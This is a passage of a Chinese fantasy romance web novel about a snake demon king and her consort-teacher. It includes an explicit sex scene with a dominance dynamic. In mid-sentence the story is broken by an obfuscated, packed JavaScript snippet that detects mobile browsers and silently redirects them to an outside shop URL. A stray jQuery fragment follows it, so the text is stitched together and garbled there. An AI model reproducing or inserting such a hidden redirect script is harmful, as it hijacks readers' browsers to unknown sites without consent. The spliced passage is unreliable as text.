甫一开门,她便冲了出去,与清冽梅香撞了个满怀。
那人冷不丁站在门口,身披薄纱,衣带松松垮垮地系着,露出大片莹润结实的胸膛。
“臣夫给大王请安。”他凭借肌肉记忆向她问好,眼下的乌青是脂粉都遮不住的疲惫。
“免礼。”生怕这人眼睛一闭不省人事,她忙扶他起身。
白堂雪不在乎这些虚头八脑的礼节,但这人总念叨着君臣有礼。她拗不过他,只能随他去了。
“听宫人说,你今日脸色不大好,可是受怨气侵袭所致?”没等她回答,他便将人打横抱起,径自朝床榻走去。
“谁脸色不好还不一定呢。”心虚地收起打他一顿出气的念头,她小声嘟囔道。
将她稳稳当当放到床上后,他便俯身去啄她的唇。
“等会儿。”她伸出手指抵住那人的嘴唇,“还没到约好的时辰,两日后再说吧。”
虽然联姻非她本意,但这人不管是净化怨气还是管理妖族,都帮她出了不少力。他的身体已远远超出负荷,若是暴毙在妖都,仙门那边她不好交代。
“没约好就不行吗?”他轻轻叹了口气,抓过她的手指顺势含住。
湿滑的口腔只绞了一下,旋即吐出手指,拉出一道暧昧的银丝。
忽然幻视某些青楼头牌,为了讨好客人使尽浑身解数。倒也不必做到这种程度,显得她多不通情达理似的,日日夜夜都在奴役他。
“可是你很累,早点歇息吧,明天再说。”她挠着他的下巴,权作安抚。
话音刚落,阴戾的怨气便在她胸口横冲直撞,紧紧攫住快要爆炸的心脏。
“你没有听我的话,体内的怨气过量了。”疲惫的双眼直勾勾地盯着她,仿佛盛满了幽怨之情:“为了打发我还装作无事发生,是打算两日后攒满怨气直接给我个大惊喜吗?”
他的声音隐约幽微,仿若蛛丝随风摇曳,但其中潜藏的威压和愠怒却显而易见。
“冤枉啊青天大老爷,我这是关心你。”好心被当成驴肝肺,她登时坐不住了:“这几日你照过镜子吗?知道自己现在是什么模样吗?”
闻言,那人从袖口中掏出一面镜子照了照:“抱歉,失礼了。”
他变戏法似的拿出妆奁,当着她的面遮去黑眼圈:“现在可以了吗?”
嘴角挂着的得体微笑,让她挑不出错。
“可以个头啊!我的意思是,你别一声不吭死在妖都,我不想给你陪葬!”
很好,她现在又想打他一顿了。
“你体内的怨气若是暴走,我也只能横着走出妖都。哦,不对,你手下的妖不会让我离开的,我会死无葬身之地,两族来之不易的和平很快就会烟消云散。”客观理性地分析其中的利弊,他听起来没什么情绪,仿佛一个被重压扯碎的破布娃娃。
不稳定的情绪会加速体内力量失衡,他故意激怒她,是想要逼她就范。
仿佛一拳打在了棉花上,她当即揪住那人的领子,咬牙切齿道:“你敢威胁我?”
“臣夫不敢。”那人颔首低眉,一副乖顺守礼的模样。
“今晚你可以留下来侍寝,但做什么、怎么做,没有我的命令,不可轻举妄动。”
再争执下去毫无意义,她知道梅墨烛说的是对的,但这人总是一副胜券在握的样子,仿佛将她玩弄于鼓掌间。明明自己才是妖王,这点非常让她不爽。
“这是自然。”他淡淡地附和,旋即话锋一转:“对了,我递给你的《妖族百年发展规划》你看了吗?还有四方领土的分区规划治理,以及制衡四大领主的办法。”
“不要在这种时候谈工作!”信手扯下一块红绸,她眼疾手快地封住他的嘴。
那人只能发出呜呜的幽咽声,颇为哀怨地剜了她一眼。
红绸在冰肌玉骨的衬托下,宛若红梅映雪江。
“你现在看起来美味极了。”摩挲着那人的双唇,她又轻轻啄吻。
红绸缠绕脖颈,不偏不倚覆上他的咽喉。
这副模样实在叫人欢喜得紧,她隔着红绸轻咬喉结,惹得身下人一阵战栗。
“别……”喉结上下滑动,在她的唇间震颤,激起一阵酥麻的痒意。
“可是我喜欢,方才说好了,今晚都听我的。”双腿不知何时变成蛇尾,她吐出蛇信逗弄他的下巴。
烛台被翻飞的帷幔掀倒,霎时熄灭灯火。滚烫的蜡油四散飞溅,不小心弄脏了桌上的山水画。
“这种时候还要忍耐吗?”与他十指相扣后,她起了玩弄那人的坏心思。
压抑的沉吟如清泉濯石,缓缓流淌在满室燥热间,眨眼便蒸发殆尽。
“快到了说一声,要是敢没经过我的同意就出来,我不介意用点别的方式让你再站起来,直到什么都出不来为止。”她的眼底翻起血浪,蛇尾紧紧缠住对方的身躯,直到彼此共达彼岸极乐。
经此一役,梅墨烛便对她多了几分敬畏之心,于夫妻之事上愈发谨小慎微。
·
不由分说将那人压在墙上,她眯眼笑道:“师尊放心,我有分寸,不会乱来的。”
“说了不行就是不行。”折扇悄无声息抵上她的脖颈,他轻哂道:“现在我是你的师尊,休要放肆。”
他的态度难得强硬。先前也没见他拿身份说事,说到底就是不想在外面做。现在他们身份处境变了,这人刚好借机压她一头。若他真不愿意,她也没办法强迫他。
二人僵持不下之际,窗外忽然闪过一个影子。
她方欲喝问,却觉腰间一紧,旋即被他护在怀里捂住嘴。
影子渐渐变大,在屋外不断徘徊,发出“咚咚”的闷响。借着火光,她看清了影子的轮廓——
是一个女人,身子上却顶着九个脑袋。
风雪似乎都在此时止息,四下阒静,徒余断木的哔剥声在室内回响。
饶是白堂雪见多识广,也不免被这一幕吓到,后背顿时冷汗直流。
悄悄凝聚灵力,她睨了梅墨烛一眼,从对方眼底读到了一样的信息——
等那女人一进来就动手。
可九头女人在屋外转了一圈,迟迟没有破门而入的迹象。
祂明明知道屋内有人,既不动手,也不逃跑,莫非是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699704|208100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在探查?
此念一出,她心里反而有了底。不如放长线钓大鱼,看看祂究竟想干什么。
如她所想,九头女人并未做多余的动作。一阵阴风过后,祂的身影消失在窗外。
紧绷的神经顿时放松,寒风一吹,浑身冷汗像是要冻结,与疲惫一同裹挟她的身体。
她揉了揉眉心,顺势靠在那人肩上:“今天就到这吧,我累了。”
好兴致被打搅后,很难再续上,加之天寒地冻,她巴不得找个窝一睡不醒。
正巧眼前有现成的“窝”。
“我不动你,让我抱一会儿总可以吧。”她圈住那人的腰,语气委屈,像是在撒娇。
那人张了张嘴,没吐出一个字,任由她抱着自己,算是默认。
许是严寒扰乱了本就脆弱的神智,她的心头没由来地涌起一阵酸涩。
她始终不愿意相信这人背叛了自己。
幸好现在她不是妖王,只是他座下的普通弟子,可以换个身份重新开始。
她曾想过与他做一对人间的寻常夫妻,他们之间没有血海深仇和种族大义,有的只是柴米油盐和岁月静好。
她累了,什么都不想要,只想要他。
她不想当妖王,不想承担那些从天而降的责任。可仅仅是这样一个朴素的愿望,也得不到满足。
但是不可以,那人教她,强者不是靠欺凌弱者来证明自己的,恰恰相反,帮助弱者更好地生活,才是真正的强者该做的事。
她觉得那人在放屁,追着他打了一天,非要证明谁是真的强者,最后因为肚子太饿比不过修仙辟谷而宣告失败。
耳畔的风声愈发急促,梦里是死一样的纯白,漫天大雪霎时笼罩苍穹,天地间唯余她踽踽独行。
雪花簌簌飘落,宛若捧捧寂灭的骨灰,纷纷扬扬盖在她身上。
好冷……救命……谁来救救我……
冬眠之时的游蛇,被强行剥离温暖巢穴,除了等死别无他法。
浑身的血液仿佛被冻住,似与无尽风雪融为一体。
忽然,鞋靴轻碾雪粒的吱呀声打破了死亡的呢喃,如愿以偿似的回应了她的祈求。
一双温热的手掌小心翼翼捧起她早已冷硬的身躯,源源不断朝她体内输入至纯至和的内力。
白堂雪想睁眼看看究竟是谁救了她的命,却被扑面而来的冰粒迷了眼。
无妨,待她恢复力量后再向恩人道谢也不迟。朝那人温暖的胸膛窝了窝,她终得酣眠。
四周是温暖的水体。身体逐渐回温,她尝试摆动尾巴。
忽然,不远处传来“咕噜咕噜”的冒泡声,像是田野里的青蛙在叫嚣。紧接着,鲈鱼的鲜甜气味沾上蛇信,刺激着本就脆弱的神经。
她冬眠了两月有余,此时被唤醒,腹中馋虫被轻而易举勾起。
迫不及待爬出水域,她迷迷糊糊朝热源游去。
青蛙的鸣叫声越来越近,鲈鱼的腥味也愈发浓郁。
用尽全身仅存的力气,她纵身一跃——
“噗通!”
铁锅中,沸腾的汤汁顿时四下迸溅。